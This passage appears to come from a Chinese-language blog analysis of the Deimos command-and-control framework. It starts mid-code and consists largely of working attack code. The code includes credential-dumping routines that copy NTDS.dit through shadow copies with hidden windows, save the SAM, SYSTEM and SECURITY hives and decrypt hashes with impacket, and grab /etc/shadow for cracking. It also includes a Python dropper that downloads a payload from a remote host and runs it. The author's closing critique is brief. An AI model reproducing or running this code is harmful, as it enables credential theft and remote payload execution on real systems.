domain = getattr(cred, "domainname", None)
username = getattr(cred, "username", None)
password = getattr(cred, "password", None)
LMHash = getattr(cred, "LMHash", None)
NThash = getattr(cred, "NThash", None)
if LMHash is not None:
LMHash = LMHash.hex()
if NThash is not None:
NThash = NThash.hex()
if (not all(v is None or v == '' for v in [password, LMHash, NThash])
and username is not None
and not username.endswith('$')
and not username == ''):
if not LMHash:
LMHash = "aad3b435b51404eeaad3b435b51404ee"
if not password:
password = "null"
creds = {'ssp':ssp, 'domain':domain, 'username':username, 'password':password, 'lmhash':LMHash, 'nthash':NThash}
cred_dict.append(creds)
cred_json = json.dumps(cred_dict)
print(cred_json)
if __name__ == "__main__":
main(sys.argv[1])
ntdsdump
域内用户HASH是存在域控ntds.dit中的, 它的存放位置是C:\Windows\ntds.dit。ntds.dit在系统运行过程中是被系统锁定的,无法操作,因此第一步是先把ntds.dit复制一份出来,然后导出其中的用户hash。
NTDSDump将使用VSS方法转储ntds.dit文件
cmdName := "cmd.exe"
ntds := "C:\\Windows\\temp\\ntds.dit"
system := "C:\\Windows\\temp\\SYSTEM"
var reply int
cmdArgs := []string{"/c", "vssadmin create shadow /for=c:"}
cmd := exec.Command(cmdName, cmdArgs...)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Run()
cmdArgs2 := []string{"/c", "copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\NTDS.dit" + ntds}
cmd2 := exec.Command(cmdName, cmdArgs2...)
cmd2.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd2.Run()
cmdArgs3 := []string{"/c", "copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM" + system}
cmd3 := exec.Command(cmdName, cmdArgs3...)
cmd3.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd3.Run()
cmdArgs4 := []string{"/c", "vssadmin delete shadows /for=c: /oldest"}
cmd4 := exec.Command(cmdName, cmdArgs4...)
cmd4.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd4.Run()
ntdsData, err := ioutil.ReadFile(ntds)
if err != nil {
logging.Logger.Println("Error reading ntds: ", err)
}
systemData, err := ioutil.ReadFile(system)
if err != nil {
logging.Logger.Println(err)
}
samdump
- 在Windows操作系统上,sam数据库(C:\Windows\System32\config\sam)里保存着本地用户的hash。
- 在本地认证的流程中,作为本地安全权限服务进程lsass.exe也会把用户密码缓存在内存中(dmp文件)。
SAMDump将获取SYSTEM,SAM和SECURITY配置单元文件,然后从它们中提取哈希
cmdName := "cmd.exe"
samFile := path.Join("C:", "Windows", "samfile")
systemFile := path.Join("C:", "Windows", "systemfile")
securityFile := path.Join("C:", "Windows", "securityfile")
cmdArgs := []string{"/c", "reg.exe save HKLM\\SAM " + samFile}
cmd := exec.Command(cmdName, cmdArgs...)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Run()
cmdArgs2 := []string{"/c", "reg.exe save HKLM\\SYSTEM " + systemFile}
cmd2 := exec.Command(cmdName, cmdArgs2...)
cmd2.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd2.Run()
cmdArgs3 := []string{"/c", "reg.exe save HKLM\\SECURITY " + securityFile}
cmd3 := exec.Command(cmdName, cmdArgs3...)
cmd3.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd3.Run()
samData, err := ioutil.ReadFile(samFile)
if err != nil {
logging.Logger.Println(err)
}
systemData, err := ioutil.ReadFile(systemFile)
if err != nil {
logging.Logger.Println(err)
}
securityData, err := ioutil.ReadFile(securityFile)
if err != nil {
logging.Logger.Println(err)
}
python解密脚本
import sys
from impacket.examples.secretsdump import LocalOperations, SAMHashes
from impacket import winregistry
from binascii import hexlify, unhexlify
from six import b
import json
def main(sysF, samF):
bootkey = getBootKey(sysF)
#Borrowed code from https://github.com/byt3bl33d3r/CrackMapExec/blob/48fd338d228f6589928d5e7922df4c7cd240a287/cme/protocols/smb.py#L816
#Changed to save the hashes as a JSON object as this will be needed for our Golang structs
def print_sam_hash(sam_hash):
print_sam_hash.sam_hashes += 1
username,_,lmhash,nthash,_,_,_ = sam_hash.split(':')
hash_dict = {'Username':username, 'NTLM':lmhash+':'+nthash}
print(json.dumps(hash_dict))
print_sam_hash.sam_hashes = 0
SAM = SAMHashes(samF, bootkey, isRemote=False, perSecretCallback=lambda secret: print_sam_hash(secret))
SAM.dump()
# From Impacket https://github.com/SecureAuthCorp/impacket/blob/69fee03fd8c120ec7ed0b1e630f7dcc5780fa3f9/impacket/examples/secretsdump.py#L735
def getBootKey(system):
# Local Version whenever we are given the files directly
bootKey = b''
tmpKey = b''
winreg = winregistry.Registry(system, False)
# We gotta find out the Current Control Set
currentControlSet = winreg.getValue('\\Select\\Current')[1]
currentControlSet = "ControlSet%03d" % currentControlSet
for key in ['JD', 'Skew1', 'GBG', 'Data']:
ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))
digit = ans[:16].decode('utf-16le')
tmpKey = tmpKey + b(digit)
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
tmpKey = unhexlify(tmpKey)
for i in range(len(tmpKey)):
bootKey += tmpKey[transforms[i]:transforms[i] + 1]
return bootKey
if __name__ == "__main__":
main(sys.argv[1], sys.argv[2])
shadowdump
针对linux
- /etc/shadow 文件,用于存储 Linux 系统中用户的密码信息,又称为“影子文件”。
- /etc/passwd 文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。
ShadowDump将抓取/etc /passwd和/etc /shadow文件,并将其格式化为可破解的hashcat文件
shadowData, err := ioutil.ReadFile("/etc/shadow")
if err != nil {
logging.Logger.Println("Couldn't read shadow file: ", err)
}
passData, err := ioutil.ReadFile("/etc/passwd")
if err != nil {
logging.Logger.Println("Couldn't read passwd file: ", err)
}
Module - droppers
本来go生成的文件就挺大,一些特定的模块(如凭证dump、屏幕截图)都是单独的,它在传输过程中如何传输的。
deimos是两种方案,一种是将单独模块编译好的数据通过dll反射调用,但这个为让它接收命令的时候获取,如果文件很大,可能会有很多问题。(虽然有这个方案,但是大多数还是通过droppers来执行的)
第二种就是通过droppers,什么是droppers,看了代码简单理解就是一个简单的下载者
,它根据系统使用多种语言编写
它代码也很简单,就是通过socket连接,获取数据,写出数据,最后执行,以一个简单的python代码为例。
import socket
import os
import time
import platform
import stat
port=4153 #MAKE DYNAMIC
host="10.20.80.134" #MAKE DYNAMIC
outputfile="C:\\ProgramData\\nice.exe" #MAKE DYNAMIC
padding= b'\x00\x00\x00\x00\x00\x00\x00\x27'
name="39519bc2-9c07-4e76-8774-0554edcaf7c4" #MAKE DYNAMIC
OS="W"
if(platform.machine()== "AMD64"):
ARCH="6"
else:
ARCH="3"
PROC=""
if("Intel" in platform.processor()):
PROC="I"
elif("ARM" in platform.processor()):
PROC="A"
fullname = padding + bytes(name, "utf-8") + bytes(OS, "utf-8") + bytes(ARCH, "utf-8") + bytes(PROC, "utf-8")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(fullname)
out=b''
while True:
rec = s.recv(1024)
if not rec:
break
out += rec
outfile = open(outputfile,"wb")
outfile.write(out)
outfile.close()
s.close()
st = os.stat(outputfile)
os.chmod(outputfile, st.st_mode | stat.S_IEXEC)
os.system(outputfile)
但是这会让文件落地,增大了风险。
End
因为只是虚拟机跑了下,有个小困惑,它里面module加载的部分都是jsonprc形式,但是监听的域名都是127.0.0.1
,看代码好像也没有更改这个的地方。
整体来看,多人协作,搭建一个web大家可以一起操作的模式挺好的,用Go编写的也挺好的,但木马层面的技术比较低,没怎么考虑到隐蔽性,生成一个木马因为需要混淆也要很久很久,不过依然是值得学习的c2软件。